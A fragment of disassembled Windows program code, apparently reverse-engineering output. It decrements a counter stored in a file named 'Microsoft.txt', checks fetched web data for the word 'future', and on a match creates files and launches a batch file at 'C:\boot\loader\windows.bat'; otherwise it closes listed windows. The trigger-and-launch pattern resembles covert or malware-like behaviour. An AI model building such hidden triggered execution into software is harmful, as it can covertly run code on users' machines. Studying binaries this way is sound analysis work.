call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream__
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream__
jmp 0x406ec4
lea rax, [rbp + 0x190]
mov r8d, 8
lea rdx, str.Microsoft.txt
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::is_open__
xor eax, 1
test al, al
je 0x406d84
lea rdx, str.Error_opening_Microsoft.txt_for_reading.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 0
mov esi, 0
jmp 0x406eac
mov eax, dword [rbp + 0x6e0]
mov dword [rbp + 0x6c0], eax
mov eax, dword [rbp + 0x6c0]
sub eax, 1
mov dword [rbp + 0x6bc], eax
lea rdx, str.Current_number_in_Microsoft.txt:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x6c0]
mov edx, eax
call sym.std::ostream::operator___int_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rdx, str.Subtracting_one._New_number:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x6bc]
mov edx, eax
call sym.std::ostream::operator___int_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp - 0x50]
mov r8d, 0x10
lea rdx, str.Microsoft.txt
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::is_open__
xor eax, 1
test al, al
je 0x406e5d
lea rdx, str.Error_opening_Microsoft.txt_for_writing.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 0
mov esi, 0
jmp 0x406e8f
mov edx, dword [rbp + 0x6bc]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::ostream::operator___int_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::close__
mov esi, 1
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream__
cmp esi, 1
jne 0x406ea7
mov esi, 1
jmp 0x406eac
mov esi, 0
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
cmp esi, 1
jne 0x407153
lea rax, [rbp + 0x5b0]
mov r8d, 0
lea rdx, str.future
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x40700e
mov edx, dword [rbp + 0x618]
mov eax, dword [rbp + 0x56c]
cmp edx, eax
jne 0x406f8e
mov rax, qword [sym.imp.libxml2.dll_xmlFree]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x700]
mov rcx, rdx
call rax
mov rax, qword [rbp + 0x710]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeObject]
call rax
mov rax, qword [rbp + 0x718]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeContext]
call rax
mov rax, qword [rbp + 0x720]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlFreeDoc]
call rax
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_cleanup]
call rax
call sym.rand
mov edx, eax
mov eax, dword [rbp + 0x748]
sub eax, dword [rbp + 0x74c]
lea ecx, [rax + 1]
mov eax, edx
cdq
idiv ecx
mov eax, dword [rbp + 0x74c]
lea ebx, [rdx + rax]
jmp 0x407153
lea rdx, str.The_word_future_found.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
call sym.createFiles2__
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:_boot_loader_windows.bat
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0
call sym.exit
lea rax, [0x00413040]
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call method.std::vector_HWND____std::allocator_HWND_____.begin__
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call method.std::vector_HWND____std::allocator_HWND_____.end__
mov qword [rbp + 0x370], rax
lea rdx, [rbp + 0x370]
lea rax, [rbp + 0x378]
mov rcx, rax
call method.bool___gnu_cxx::operator__HWND____std::vector_HWND____std.allocator_HWND__________gnu_cxx::__normal_iterator_HWND____std::vector_HWND____std::allocator_HWND________const____gnu_cxx::__normal_iterator_HWND____std::vector_HWND____std::al
test al, al
je 0x4070df
lea rax, [rbp + 0x378]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_HWND____std::vector_HWND____std::allocator_HWND_______.operator___const
mov rax, qword [rax]
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov r9d, 0
mov r8d, 0
mov edx, 0x10
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageA]
call rax
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
test eax, eax
setne al
test al, al
je 0x4070cb
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x40709f
lea rax, [rbp + 0x378]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_HWND____std::vector_HWND____std::allocator_HWND_______.operator__
jmp 0x407048
lea rcx, [0x00413040]
call method.std::vector_HWND____std::allocator_HWND_____.clear__
mov rax, qword [sym.imp.libxml2.dll_xmlFree]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x700]
mov rcx, rdx
call rax
mov rax, qword [rbp + 0x710]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeObject]
call rax
mov rax, qword [rbp + 0x718]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeContext]
call rax
mov rax, qword [rbp + 0x720]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlFreeDoc]
call rax
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_cleanup]
call rax
mov ebx, dword [rbp + 0x6e4]
lea rax, [rbp + 0x380]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
lea rax, [rbp + 0x570]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x407443
add rsp, 0x7d8
pop rbx
pop rsi
pop rdi
pop rbp
ret